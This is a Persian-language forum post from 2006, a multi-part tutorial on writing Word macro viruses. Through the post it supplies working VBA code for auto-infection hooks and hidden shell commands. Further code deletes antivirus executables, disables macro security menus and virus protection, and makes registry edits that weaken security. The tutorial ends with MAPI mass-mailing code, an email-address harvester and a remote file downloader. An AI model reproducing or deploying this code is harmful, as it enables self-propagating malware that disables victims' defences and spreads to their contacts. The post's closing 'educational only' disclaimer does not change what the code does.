PDA

نسخه کامل مشاهده نسخه کامل : آموزش نوشتن ماکرو ویروس



hatef_4541
01-02-2006, 23:49
اينم يك مقاله برا دوستان علاقه مند در اين زمينه !

=============================================
لينك هاي مقالات مرتبط با اين موضوع :

[ برای مشاهده لینک ، لطفا با نام کاربری خود وارد شوید یا ثبت نام کنید ]

[ برای مشاهده لینک ، لطفا با نام کاربری خود وارد شوید یا ثبت نام کنید ]

[ برای مشاهده لینک ، لطفا با نام کاربری خود وارد شوید یا ثبت نام کنید ]

[ برای مشاهده لینک ، لطفا با نام کاربری خود وارد شوید یا ثبت نام کنید ]

[ برای مشاهده لینک ، لطفا با نام کاربری خود وارد شوید یا ثبت نام کنید ]

( با تشكر از mpsjavad ) :)
=============================================

مقاله:

سلام
طي چند بخش سعي ميكنم چگونگي نوشت ماكر ويروس (كه از بقيه ساده تر هم هست) را براتي شما توضيح بدهم . توجه كنيد اين مطالب فقط شما را اشنا ميكند با ماكرو ويروس ها و توقع ساختن يك ويروس نويس از شما را نداشته باشيد.

در مورد منابع هم لازم است كه بگويم اين مطالب مجموعه يادداشت هايي است كه از astalavista و areyoufearless و نوشته های یک ویروس نویس سوئدی که مدتي قبل من جمع آوري كرده بودم.

اميد وارم مفيد واقع بشه
مقدمه:
ماکرو ویروس نوعی از ویروس ها بوده که از خانواده word استفاده می کنند که در اینجا ما از دو نوع 97 و 2000 استفاده می کنیم (توجه کنید که ورد 97 بسیار برای ماکرو ویروس نویسی مناسب می باشد) و همچنین از VB هم برای application ها استفاده میشود.
ماکرو ویروس ها خود را بک فایل Document یا template می چسباند و بعد از باز شدن آن توسط قربانی طبق تنظیمات موجود کامپیوتر را آلوده می نماید و آلودگی را بر روی template پیش فرض ذخیره و با باز شدن هر سند آن را نیز آلوده می نماید.

چند اصطلاح در مورد ویروس ها :
VXافرادی که به جابجایی ویروس می پردازند
VCK کیت های ساخت ویروس
AV آنتی ویروس
Worm برنامه های کامپیوتری که خود را کپی و منتشر می سازد.
Boot sector virus ویروس هایی که بوت سکتور را آلوده و در زمان بوت شدن کامپیوتر به همراه دیگر برنامه ها اجرا میشوند.
Trojan اجزه دسترسی از راه دور و بدون مجوز صاحب آن را به شما میدهد که به آنها RAT نیز گفته میشود.
File infector خود را به فایلی متصل نموده و آن را آلوده می سازد ( معمولا فایل های exe, com,sys,batch)
Dropper برنامه ویژهای که وظیفه قرار دادن ویروس بر روی کامپیوتر قربانی را دارد.
Stealth virus ویروسی که عملکرد آن از دید قربانی پنهان میباشد.
Polymorphic نوعی ویروس که تواننایی اصلاح را داراست و تشخیص را مشکل می سازد.
Fast infection آلوده ساختن تمام پرونده های باز
Payload مهمترین بخش ویروس که زمان اجرا پروسه مربوط به ویروس را تعیین میکند.
Tunneling Virus ویروسی که مفسر ها را یافته و باز خوانی میکند.
ANSII bomb وقتی یک کاراکتر یا یک سری از کاراکتر ها را فشار میدهیم آن زمان Payload ویروس آغاز به کار کرده و مطا بق آن شروع به کار میکند. (مثلا با فشار دادن اسپیس)
Resident Infection ویروسی که خود را در RAM قرار میدهد.
BIS آلودگی در بوت سکتور
TSR ویروس فعالیت خود را پایان داده است اما هنوز دز کامپیوتر قربانی موجود میباشد.

مشاهده سورس یک ماکرو ویروس:
در اینجا شما طریقه یافتن و مشاهده ماکرو را یاد میگیرید.
برای یافنن یک ماکرو یم روش همان پیام خطا هنگام اجرا بوده و در صورتی که به شکل هیدن اجرا شود شما باید Normal.dot را پیدا کنید و اگر حجم آن بیش از 40 -50 kb باشد آن تغییر نموده و شما آلوده شده اید.) حجم این فایل در حالت عادی 26 k-27k می باشد.)
برای مشاهده سورس ماکر ویروس آن را بیابید سپس در ورد 97 یک Document را باز نموده سعی نمایید به VBA بروید در این حالت پنجره باز و هشداری با این مضمون را میدهد (هدف از این بخش فعال نمودن بخش محافظتی ورد در مقابل ماکرو ها و عدم اجرا آنها است)
Macro's are in this document –
Disable?
البته ممکن است این مورد به صورت پیش فرض فعال شده باشد. سپس بر روی Yes کلیک کنید و حال میتوانید ویروس خود را بدون آلوده شدن مشاهده نمایید.

در اين بخش در مورد دستور ها و يكي از روش هاي چهار گانه مخفي سازي صحبت ميكنيم.
طریقه کد نویسی:
در بخش زیر دستورات لازمه را برای شما بیان میکنم:
Document_Open() دستور آلوده ساختن document در هنگام باز شدن می باشد.
Document_New() دستور آلوده ساختن هر پرونده جدید می باشد.
Document_Close() دستور آلوده ساختن هر پرونده در زمانی که آن بسته میشود.
FileSaveAs() دستور آلوده ساختن پرونده در هنگامSaveAs میباشد.
FileSave() دستور الوده سازی پرونده در هنگام Save میباشد.
ToolsSpelling() دستور الوده سازی به هنگام چک کردن spell میباشد.
ToolsGrammar() دستور آلوده ساختن در هنگام چک کردن گرامر می باشد.
AutoExec() دستور الوده ساختن هنگامی که پرونده باز است (مخصوصا برای template )
AutoExit دستور آلوده ساختن هنگامی که پرونده بسته میباشد (مخصوصا برای template)
ViewVBCode() این دستور و دو دستور زیر هر سه در جهت پنهان سازی به کار میروند.
ToolsMacro()
FileTemplates().
Shell "command.com /whatever you want", vbHide این دستور در داس اجرا و دستور vbHide پنجره داس را پنهان نموده و قربانی از اتفاق افتاده اطلاعی نمییابد.
به طور مثال در Shell "command.com /c ftp.exe", vbHide اف تی پی برای پنهان کردن عملیات مورد استفاده قرار گرافته است.

در بخش بالا یک سری از دستورات مورد استفاده در ماکرو ویروس نویسی را مشاهده کردید فقط توجه کنید که در آغاز باید از sub استفاده کنید و در انتها هم از End Sub استفاده کنید.
به مثال زیر توجه نمایید:
Sub Document_New()
msgbox "x11011110x"
End Sub
آنرا در VBA خود قرار دهید ماکرو را اجرا کنید سپس یک document ایجاد نمایید و مشاهده می کنید که یک پنجره جدید پدیدار میشود.
ضمنا میتوانید از دستور On Error Resume Next نیز استفاده کنید تا در هنگام ایجاد خطا به کار خود ادامه دهد.
یک فایل را باز نموده و برای تمربن بیشتر مثال زیر را می نویسیم
Sub Document_Open()
On Error Resume Next همیشه در ابتدای ساب این مورد را استفاده کنید.
Open "C:\xde.txt" For Output As #1 این دستور یم فایلی به نام xde.txt را در داریو سی ایجاد یا باز می نماید.
Print #1, "x11011110x" این دستور x11011110x را در فایل xde.txt قرار میدهد.
Close #1 این دستور فایل های بازشده قبلی را برای شما میبندد.
Msgbox "File Written to" این پیام را برای شما به نمایش میگذارد.

تکنیک های پنهان سازی:
برای این کار روش های متفاوتی وجود دارد که من 4 روش را برای شما توضیح میدهم:

1. پاک کردن آنتی ویروس
همه ی ما با آنها آ شنا هستیم در این بخش هدف ما یافتن راهی برای از کار انداختن آنتی ویروس ها است. برای این کار باید فایل .exe مربوط به آنتی ویروس را بیابیم و آنرا پاک کنیم و بعد از آن محیط کار ما مساعد میشود. اما مشکلی اساسی را در پیش روی خود داریم در اکثر موارد تنظیمات را به شکلی تنظیم میکنیم که اگر آنتی ویروس در مسیر پیش فرض نصب شده باشد در آن صورت آن را از کار می اندازد و اگر در مسیر دیگر باشد کاری انجام نمیدهد پس باید یک موتور جستجو گر را در ویروس تعبیه کنیم که فایل مربوطه را یافته و نابود سازد.

Sub Mainz()
Set Fs = Application.FileSearch این دستور Fs یه عنوان فیل جستجو گر Application قرار میدهد.
es$ = "xdez.txt" این دستور es$ را برای xdez.txt تعریف می نماید.
.LookIn = "C:\" این دستور فایل یا درایو را معین می سازد.
.SearchSubFolders = True این دستور میگوید که کل فایل یا درایو را جستجو نماید.
.FileName = es$ این دستور فایل نیم دنبا ل es$ میگرد.
If .Execute > 0 Then اگر پیدا گشت دستورات زیر را اجرا کن.
MsgBox "File Found" این دستور در پیامی پیدا شده فایل را اطلاع میدهد.
Set ds = CreateObject("Scripting.FileSystemObject") این دستور شی FSO را ایجاد می نماید.
Set fy = ds.GetFile(es$) این دستور اجازه میدهد که مسیر فایل را به دست آوریم
h = (fy.Path) این دستور به مسیر فایل یک متغیر را نسبت میدهد.
SetAttr h, vbNormal ویژگی فایل را به شکل نرمال قرار میدهد.
Kill (h) این دستور فایل را پاک می کند.
MsgBox "File Illimenated" این دستور شما را از پاک شدن آگاه می سازد.
Else
MsgBox "File was not found." این دستور میگوید که فایل پیدا نشد
End If
End With
End Sub

شاید در بخش بالا یک سری مطالب برای شما گیج کننده باشد که سعی میکنم یک سری از مطالب گیج کننده را برای شما باز کنم.
شاید در نگاه اول مثلا سوال کنید که برای متغیر نام Fy را در نظر گرفتم علت این برای مشکل نمودن تشخصی توسط انتی ویروس می باشد.
Set ds = CreateObject("Scripting. ")
این خط اجازه پیدا نمودن مسیر فایل و ایجاد یک FileSystemObject را برای استفاده در ماکرو به شما می دهد.
Set fy = ds.GetFile(es$)
این خط دستور را مشاهده میکنید که در واقع همانند File Operator.GetFile(filespec) کار میکند که در این مورد File Operator تعریف شده در ds و داریم ds.GetFile(filespec) since و file spec تعریف گشته در es$ و درشکل کلی به
Set fy = ds.GetFile(es$) می رسیم.
خط بعدی دستور h = (fy.Path) میباشد . این دستور h را در مسیر فایل ما قرار میدهد (مثلا . C:\My Documents\xdez.txt)
SetAttr h, vbNormal این دستور یک ویژگی را به فایل میدهد و آن هم اینست که آن را به صفت نرمال را نسبت می دهد و آن را قابل پاک نمودن میکند.
Kill (h) که به زبان دیگر به شکل Kill ("C:\My Documents\xdez.txt") و تمام چیز هایی را که در مسیر بیابد پاک مینماید.

در بخش زیر دستورات را بدون توضیحات مربوط به دیباگ مشا هده میکنید.
Sub Mainz()
On Error Resume Next
Set Fs = Application.FileSearch
es$ = "xdez.txt"
With Fs
.LookIn = "C:\"
.SearchSubFolders = True
.FileName = es$
If .Execute > 0 Then
Set ds = CreateObject("Scripting.FileSystemObject")
Set fy = ds.GetFile(es$)
h = (fy.Path)
SetAttr h, vbNormal
Kill (h)
Else
End If
End With
End Sub

خوب اگر حواس شما جمع باشد باید متوجه یک تغییر باشید و آن هم On Error Resume Next است که باید همیشه در نوشتن ماکرو ویروس ها از آن استفاده کنید این دستور به راحتی تمام Error ها را توجه نکرده و به خط بعد دستوری رفته و به کار خود ادمه میدهد.
در این بخش تنها یک نکته باقی ماند و آن هم پاک کردن آنتی ویروس از طریق دستور برای امتحان آنتی ویروس نصب کنید و به جای es$ در es$ ="xdez.txt" باید به طور مثال Norton.exe که به شکل زیر میرسیم:
es$ = "Norton.exe"

یک مساله دیگر اینکه شما با ساختن یک اسکریپت می توانید autoexec.bat را باز کنید و چک کنید.bat تا متوجه گردید آیا پس از پاک شدن اولیه دوباره آنتی ویروس نصب شده است و در صورت نصب دوباره آن را پاک کنید.

ادامه در پست بعدي....

hatef_4541
01-02-2006, 23:52
.پیام های خطا:
یک روش خوب برای جلوگیری از شناخته شدن جلوگیری است و آن هم استفاده از پیام های خطا می باشد. از این دست می توان به مثا ل زیر اشاره کرد:
Sub ViewCode()
MsgBox "Not enough memory", 16
End Sub

تنها کاری که باید انجام دهیم فقط و فقط افزایش یک مسج باکس بوده و معین کردن نوع پیام مورد نظر ما در پنجره . یک مثال:
MsgBox "This program has performed an illegal operation and will be shut
down.", vbCritical, "Microsoft Word"
به عنوان مثال برای پیام خطا های اطلاعاتی به شکل MsgBox "Not Enough Memory",
vbInformation
و برای خطاهای ضروری به شکل : MsgBox "Not Enough Memory",
vbExclamation
باشد.
در قسمت ذیل نیز یک سری از موارد مورد استفاده را مشاهده می نمایید:
Criticals:
16 - Critical
18 - Abort/Ignore/Retry
19 - Yes/No/Cancel
20 - Yes/No
21 - Retry/Cancel
Standard
1 - Ok/Cancel
2 - Abort/Ignore/Retry
3 - Yes/No/Cancel
4 - Yes/No
5 - Retry/Cancel




3. از کار انداختن Tool bar ها:
در ورد یک سری تول بار ها موجود بوده که به شما اجازه داده وضعیت ماکرو فایل ها را در تمامی مراحل کنترل و مشاهده کنید و باید آنها غیر فعال گردد. ما می خواهیم تغیرات امنیتی در ماکرو آلوده خود را به شکل زیر انجام دهیم:

CommandBars("Macro").Controls("Security...").Enabled = 0

خط بعد دکمه ماکرو را غیر فعال می سازد
CommandBars("Macro").Controls("Macros...").Enabled = 0
توجه نموده که می توانید به جای 0 از False و به جای Enable نیز از Delete استفاده کنید.
CommandBars("Tools").Controls("Customize...").Enabled = False
CommandBars("View").Controls("Toolbars").Enabled = False
CommandBars("View").Controls("Status Bar").Enabled = False
CommandBars("Tools").Controls("Templates and Add-Ins...").Enabled = False
CommandBars("Format").Controls("Style...").Enabled = Fals


در دستورات بالا ما یک بار status را که بر فعالیت ها نظارت میکرد را پاک نمودیم و احتما ل یافتن ماکرو خود را کاهش دادیم.
نکته دیگر اینست که شما می خواهید که در ویروس شما اصل ذخیره وجود داشته باشد یعنی کار بر را در هر شرایطی وادار به ذخیره نموده و در واقع به کاربر میگوید که فایل ذخیره شده است و دیگر به اجازه شما برای ذخیره احتیاجی نمی باشد.
NormalTemplate.Saved = True
ActiveDocument.Saved = True
دستور زیر نیز در راستای اجرای اتوماتیک وار ماکرو می باشد:
Options.VirusProtection = False
و دستور زیر نیز دکمه cancel را غیر فعال میکند حال مفید بودن این مورد را خودتان تصور کنید.
Application.EnableCancelKey = wdCancelDisabled
Application.ScreenUpdating = False 'this one is rather straightforward.

4. غیر فعال کردن ریجستری:
در این روش ما بوسیله ی دست بردن در ریجستری به هدف خود می رسیم. با دستور
System.PrivateProfileString("",
"HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Wo rd\Security", "Level") =
1&
سطحی امنیتی ماکرو را به پایین ترین حد کاهش میدهد.
در بخش پایین یک سری از این دستور ها را مورد بررسی قرار میدهیم:

کد های ریجستری زیر درایو ها را از Mycomputer حذف می نماید.
HKEY_CURRENT_USER\Software\Microsoft\Windows\Curre ntVersion\Policies\Explorer
Nodrives = 3
Disables Adding Printers:
HKEY_CURRENT_USER\Software\Microsoft\Windows\Curre ntVersion\Policies\Explorer
NoAddPrinter = 1
Sub folders at start-programs will be disabled.
HKEY_CURRENT_USER\Software\Microsoft\Windows\Curre ntVersion\Policies\Explorer
NoStartMenuSubFolders = 1
تمام موارد موجود بر روی دسکتاپ را مخفی می سازد:
HKEY_CURRENT_USER\Software\Microsoft\Windows\Curre ntVersion\Policies\Explorer
NoDesktop = 1
Message box will appear on start
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\Curr entVersion\Winlogon
LegalNoticeCaption = Text
LegalNoticeText = Text
از میان بردن دکمه استارت
HKEY_CURRENT_USER\Software\Microsoft\Windows\Curre ntVersion\Policies\Explorer
"NoCloseKey" = "1"
تنظیم دایرکتوری ویندوز
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Curr entVersion\Setup\SourcePath
"WinDir"="C:\Windows\"
نمایش صفحه ارتباطات با شبکه

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\Curr entVersion\RunServices]
"LoadPowerProfile"="Rundll32.exe powrprof.dll,LoadCurrentPwrScheme"
"TrueVector"="C:\WINDOWS\SYSTEM\ZONELABS\VSMON.EXE -service"
"MiniLog"="C:\\WINDOWS\SYSTEM\ZONELABS\MINILOG.EXE -service"
این مورد پوشه Recent Documents را غیر فعال نموده که من پیشنهاد می کنم حتما از آن استفاده کنید.

[HKEY_CURRENT_USER\Software\Microsoft\Windows\Curre ntVersion\Policies\Explorer]
"NoRecentDocsMenu"="1"
Gets rid of the task bar:
[HKEY_CURRENT_USER\Software\Microsoft\Windows\Curre ntVersion\Policies\Explorer]
"NoTaskbar"=dword:00000000
).Name="Virus name" Then
Goto Destination
Next i



استفاده از MAPI برای فرستادن میل:
در قسمت آخر آموزش شما با چگونگی انتشار ماکر ویروس خود آشنا میشوید.
از MAPI win32 api برای یافتن آدرس های ایمیل و ارسال نسخه های از خود استفاده میکند. ما ار تابع های MAPILogOn, MAPISendMail, MAPILogoff برای بر طرف کردن کار های خود استفاده میکنیم. این کد ها در پروسیژر در راستای ارسال میل ها با متن مورد نظر عمل میکنند.
Public Const MAPI_AB_NOMODIFY = &H400
Public Const MAPI_BCC = 3
Public Const MAPI_BODY_AS_FILE = &H200
Public Const MAPI_CC = 2
Public Const MAPI_DIALOG = &H8
Public Const MAPI_E_AMBIGUOUS_RECIPIENT = 21
Public Const MAPI_E_AMBIG_RECIP = MAPI_E_AMBIGUOUS_RECIPIENT
Public Const MAPI_E_ATTACHMENT_NOT_FOUND = 11
Public Const MAPI_E_ATTACHMENT_OPEN_FAILURE = 12
Public Const MAPI_E_ATTACHMENT_WRITE_FAILURE = 13
Public Const MAPI_E_BAD_RECIPTYPE = 15
Public Const MAPI_E_BLK_TOO_SMALL = 6
Public Const MAPI_E_DISK_FULL = 4
Public Const MAPI_E_FAILURE = 2
Public Const MAPI_E_INSUFFICIENT_MEMORY = 5
Public Const MAPI_E_INVALID_EDITFIELDS = 24
Public Const MAPI_E_INVALID_MESSAGE = 17
Public Const MAPI_E_INVALID_RECIPS = 25
Public Const MAPI_E_INVALID_SESSION = 19
Public Const MAPI_E_LOGIN_FAILURE = 3
Public Const MAPI_E_LOGON_FAILURE = MAPI_E_LOGIN_FAILURE
Public Const MAPI_E_MESSAGE_IN_USE = 22
Public Const MAPI_E_NETWORK_FAILURE = 23
Public Const MAPI_E_NO_MESSAGES = 16
Public Const MAPI_E_NOT_SUPPORTED = 26
Public Const MAPI_E_TEXT_TOO_LARGE = 18
Public Const MAPI_E_TOO_MANY_FILES = 9
Public Const MAPI_E_TOO_MANY_RECIPIENTS = 10
Public Const MAPI_E_TOO_MANY_SESSIONS = 8
Public Const MAPI_E_TYPE_NOT_SUPPORTED = 20
Public Const MAPI_E_UNKNOWN_RECIPIENT = 14
Public Const MAPI_ENVELOPE_ONLY = &H40
Public Const MAPI_FORCE_DOWNLOAD = &H1000
Public Const MAPI_GUARANTEE_FIFO = &H100
Public Const MAPI_LOGOFF_SHARED = &H1
Public Const MAPI_LOGOFF_UI = &H2
Public Const MAPI_LOGON_UI = &H1
Public Const MAPI_NEW_SESSION = &H2
Public Const MAPI_OLE = &H1
Public Const MAPI_OLE_STATIC = &H2
Public Const MAPI_ORIG = 0
Public Const MAPI_PEEK = &H80
Public Const MAPI_RECEIPT_REQUESTED = &H2
Public Const MAPI_SENT = &H4
Public Const MAPI_SUPPRESS_ATTACH = &H800
Public Const MAPI_TO = 1
Public Const MAPI_UNREAD = &H1
Public Const MAPI_UNREAD_ONLY = &H20
Public Const MAPI_USER_ABORT = 1
Public Const MAPI_E_USER_ABORT = MAPI_USER_ABORT
Public Const SUCCESS_SUCCESS = 0
'-- mapi message recipient object type
Public Type MapiRecip
Reserved As Long
RecipClass As Long
Name As String
Address As String
EIDSize As Long
EntryID As String
End Type
'-- mapi message file object type
Public Type MapiFile
Reserved As Long
Flags As Long
Position As Long
PathName As String
FileName As String
FileType As String
End Type
'-- mapi message object type
Public Type MAPIMessage
Reserved As Long
Subject As String
NoteText As String
MessageType As String
DateReceived As String
ConversationID As String
Flags As Long
RecipCount As Long
FileCount As Long
End Type
Public Declare Function MAPILogoff Lib "MAPI32.DLL" (ByVal Session&, _
ByVal UIParam&, ByVal Flags&, _
ByVal Reserved&) As Long
Public Declare Function MAPILogon Lib "MAPI32.DLL" (ByVal UIParam&,_
ByVal User$, ByVal Password$, _
ByVal Flags&, ByVal Reserved&,_
Session&) As Long
Public Declare Function MAPISendMail Lib "MAPI32.DLL" Alias _
"BMAPISendMail" (ByVal Session&,
ByVal _
UIParam&, Message As MAPIMessage, _
Recipient() As MapiRecip, File() As
MapiFile, _
ByVal Flags&, ByVal Reserved&) As
Long

' Mailsending procedure
' sTo - target adress (where the email should ne delivered)
' sSubject - email subject
' sMessage - message body text
Public Function api_SendMail(sTo As String, sSubject As String, sMessage As
String)
' * use api functions to send mail
'
On Error Goto suxx
Dim Rtn As Long '-- return value For api calls
Dim objMsg As MAPIMessage''-- message object
Dim objRec() As MapiRecip''-- recipient object array
Dim objFile() As MapiFile''-- file object array
Dim hMAPI As Long'-- session handle
ReDim objRec(1)
ReDim objFile(1)
'
'-=-=-=-=-=-
'file object
'-=-=-=-=-=-
'
' * default - not expecting to send a file
'
objFile.Reserved = 0
'
' * values not used
'
'objFile.Flags
'objFile.Position = -1
'objFile.PathName = "c:\mtx4ever.exe"
'objFile.FileName = 0
'objFile.FileType = 0
'
'-=-=-=-=-=-=-=-=
'recipient object
'-=-=-=-=-=-=-=-=
'
objRec(0).Reserved = 0
objRec(0).RecipClass = 1
objRec(0).Name = sTo
'
' * values not used for recipient
'
'objRec.Address
'objRec.EIDSize
'objRec.EntryID
'
'-=-=-=-=-=-=-=
'message object
'-=-=-=-=-=-=-=
'
objMsg.Reserved = 0
objMsg.Subject = sSubject ' mail subject
objMsg.RecipCount = 1
objMsg.FileCount = 0 ' how many files are in message
objMsg.NoteText = sMessage ' mail message
'
' * values not used for message
'
'objMsg.MessageType
'objMsg.DateReceived
'objMsg.ConversationID
'objMsg.Flags
' We will create a session for e-mail sending
' using standart windows password for sending emails.
' it's possible not to use MS Exchange Settings, and simply put 0 to that
option
Rtn = MAPILogon(0, "MS Exchange Settings", "", MAPI_LOGON_UI, 0, hMAPI)
' * send mail message through MAPI
Rtn = MAPISendMail(hMAPI, 0, objMsg, objRec, objFile, 0, MAPI_DIALOG)
' * logoff MAPI application
Rtn = MAPILogoff(hMAPI, 0, 0, 0)
' * close this function
Exit Function
suxx:
Msgbox "MOD_MAIL.api_SendMail()"
End Function

یک موتور جستجو را بو سیله ی تابع های ای پی آی ایجاد نموده و آن آدرس ها را یافته و آنها را ذخیره می نماید . البته می توان آدرس هایی زیادی را در مسیر زیر یافت:
C:\windows\Temporary Internet Files

مدل باس
Private Declare Function FindFirstFile Lib "kernel32" _
Alias "FindFirstFileA" _
(ByVal lpFileName As String, _
lpFindFileData As WIN32_FIND_DATA) As Long
Private Declare Function FindNextFile Lib "kernel32" _
Alias "FindNextFileA" _
(ByVal hFindFile As Long, _
lpFindFileData As WIN32_FIND_DATA) As Long
Private Declare Function GetFileAttributes Lib "kernel32" _
Alias "GetFileAttributesA" _
(ByVal lpFileName As String) As Long
Private Declare Function FindClose Lib "kernel32" _
(ByVal hFindFile As Long) As Long
Const MAX_PATH = 260
Const MAXDWORD = &HFFFF
Const INVALID_HANDLE_VALUE = -1
Const FILE_ATTRIBUTE_ARCHIVE = &H20
Const FILE_ATTRIBUTE_DIRECTORY = &H10
Const FILE_ATTRIBUTE_HIDDEN = &H2
Const FILE_ATTRIBUTE_NORMAL = &H80
Const FILE_ATTRIBUTE_READONLY = &H1
Const FILE_ATTRIBUTE_SYSTEM = &H4
Const FILE_ATTRIBUTE_TEMPORARY = &H100
Private Type FILETIME
dwLowDateTime As Long
dwHighDateTime As Long
End Type
Private Type WIN32_FIND_DATA
dwFileAttributes As Long
ftCreationTime As FILETIME
ftLastAccessTime As FILETIME
ftLastWriteTime As FILETIME
nFileSizeHigh As Long
nFileSizeLow As Long
dwReserved0 As Long
dwReserved1 As Long
cFileName As String * MAX_PATH
cAlternate As String * 14
End Type
Function StripNulls(OriginalStr As String) As String
If (InStr(OriginalStr, Chr(0)) > 0) Then
OriginalStr = Left(OriginalStr, _
InStr(OriginalStr, Chr(0)) - 1)
End If
StripNulls = OriginalStr
End Function
Function FindFilesAPI(path As String, _
SearchStr As String, _
FileCount As Integer, _
DirCount As Integer)
Dim FileName As String ' variable holding filename
Dim DirName As String ' variable holding subdir name
Dim dirNames() As String ' filenames buffer
Dim nDir As Integer ' number of directories in this path
Dim i As Integer ' cycle counter
Dim hSearch As Long ' search descriptor
Dim WFD As WIN32_FIND_DATA
Dim Cont As Integer
If Right(path, 1) <> "\" Then path = path & "\"
' subdirectories search
nDir = 0
ReDim dirNames(nDir)
Cont = True
hSearch = FindFirstFile(path & "*", WFD)
If hSearch <> INVALID_HANDLE_VALUE Then
Do While Cont
DirName = StripNulls(WFD.cFileName)
If (DirName <> ".") And (DirName <> "..") Then
' checking directory
If GetFileAttributes(path & DirName) And _
FILE_ATTRIBUTE_DIRECTORY Then
dirNames(nDir) = DirName
DirCount = DirCount + 1
nDir = nDir + 1
ReDim Preserve dirNames(nDir)
End If
End If
Cont = FindNextFile(hSearch, WFD)
Loop
Cont = FindClose(hSearch)
End If
hSearch = FindFirstFile(path & SearchStr, WFD)
Cont = True
If hSearch <> INVALID_HANDLE_VALUE Then
While Cont
FileName = StripNulls(WFD.cFileName)
If (FileName <> ".") And (FileName <> "..") Then
FindFilesAPI = FindFilesAPI + _
(WFD.nFileSizeHigh * MAXDWORD) + _
WFD.nFileSizeLow
FileCount = FileCount + 1
'List1.AddItem path & FileName
ggg = path & FileName
MsgBox ggg
Call try(ggg)
End If
Cont = FindNextFile(hSearch, WFD) ' Get next file
Wend
Cont = FindClose(hSearch)
End If
' if there are subdirectories
If nDir > 0 Then
' perform recursive search
For i = 0 To nDir - 1
FindFilesAPI = FindFilesAPI + _
FindFilesAPI(path & dirNames(i) _
& "\", SearchStr, FileCount, DirCount)
Next i
End If
End Function
Private Sub Search()
Dim SearchPath As String, FindStr As String
Dim FileSize As Long
Dim NumFiles As Integer, NumDirs As Integer
Screen.MousePointer = vbHourglass
'SearchPath = directory name
SearchPath = "C:\My Documents"
' FindStr = filename we are searching for
FindStr = "*.*htm"
FileSize = FindFilesAPI(SearchPath, FindStr, NumFiles, NumDirs)
Screen.MousePointer = vbDefault
End
End Sub
Private Sub try(fName)
On Error Resume Next
WindowSize = 5000
seekPoint = 1
Open fName For Binary As 1
Do While seekPoint < LOF(1)
VarString$ = String$(WindowSize, " ")
Get #1, seekPoint, VarString$
seekPoint = seekPoint + WindowSize - 50
AsIs = search_(VarString$)
Loop
Close #1
End Sub
Function mid_(a$, i, j1)
On Error Resume Next
s = 0
If i > 0 And (i + j1 - 1) <= Len(a$) Then
b$ = Mid$(a$, i, j1)
If b$ >= "a" And b$ <= "z" Then s = 1
If b$ >= "A" And b$ <= "Z" Then s = 1
If b$ >= "0" And b$ <= "9" Then s = 1
If b$ = "-" Or b$ = "_" Or b$ = "+" Or b$ = "." Or b$ = "@" Then s = 1
End If
mid_ = s
End Function
Function search_(a$)
On Error Resume Next
s$ = ""
For i = 1 To Len(a$)
If Mid$(a$, i, 1) = "@" Then
name_ = "": j = i
Do
j = j - 1
s = mid_(a$, j, 1)
Loop While s = 1
Do
j = j + 1
s = mid_(a$, j, 1)
If s = 1 Then name_ = name_ + Mid$(a$, j, 1)
Loop While s = 1
s = 0: k = 0
For j2 = 1 To Len(name_)
If Mid$(name_, j2, 1) = "@" Then k = k + 1
If Mid$(name_, j2, 1) = "." Then s = 1
Next
If k = 1 And s = 1 And Len(name_) > 5 And Left$(name_, 1) <> "@" And
Right$(name_, 1) <> "@" Then MsgBox name_
'Then UserForm1.addr.AddItem Name_
End If
If Mid$(a$, i, 1) <> "@" Then s$ = s$ + Mid$(a$, i, 1) Else s$ = s$ + " "
Next
search_ = s$
End Function
در پروسیژر فوق یک فایل از یک URL دانلود میگردد.
این هم یک روش فشرده تر شده برای برای کسانی که از کد های زیاد متنفر هستند.
DownLoadPlugin "URL of the plugin", "name of the plugin"
Code & Exemple:
Private Sub Download()
DownLoadPlugin "[ برای مشاهده لینک ، لطفا با نام کاربری خود وارد شوید یا ثبت نام کنید ]", "plugin.plg"
End Sub

Public Declare Function DoFileDownload Lib "shdocvw.dll" (ByVal lpszFile As
String) As Long
Public Sub DownLoadPlugin(urlz As String, plugin As String)
Dim DL As Long
On Error GoTo errorz
If urlz$ = "" Then urlz$ = strUrl$
If strUrl$ = "" Then strUrl$ = urlz$
If Left(strUrl$, 4) <> "http" Then strUrl$ = "[ برای مشاهده لینک ، لطفا با نام کاربری خود وارد شوید یا ثبت نام کنید ]" & strUrl$
If Right$(strUrl$, 1) <> "/" Then strUrl$ = strUrl$ & "/"
If Left$(plugin$, 1) = "/" Then plugin = Mid$(plugin$, 2)
DL& = DownLoadPlugin(StrConv(strUrl$ & plugin$, vbUnicode))
Exit Sub
errorz:
MsgBox "Can't download the fucking file" & urlz & plugin$ & ".",
vbCritical,
"Oshibka - ERROR !!!!"
End Sub

نويسنده: Herbod

اين مطالب تنها و تنها جنبه آموزشي داردو هر گونه استفاده نادرست و آسيب حاصله از اين مطالب بر عهده شما مي باشد و هيچ گونه مسوليتي براي نويسنده و P30world ايجاد نمي نمايد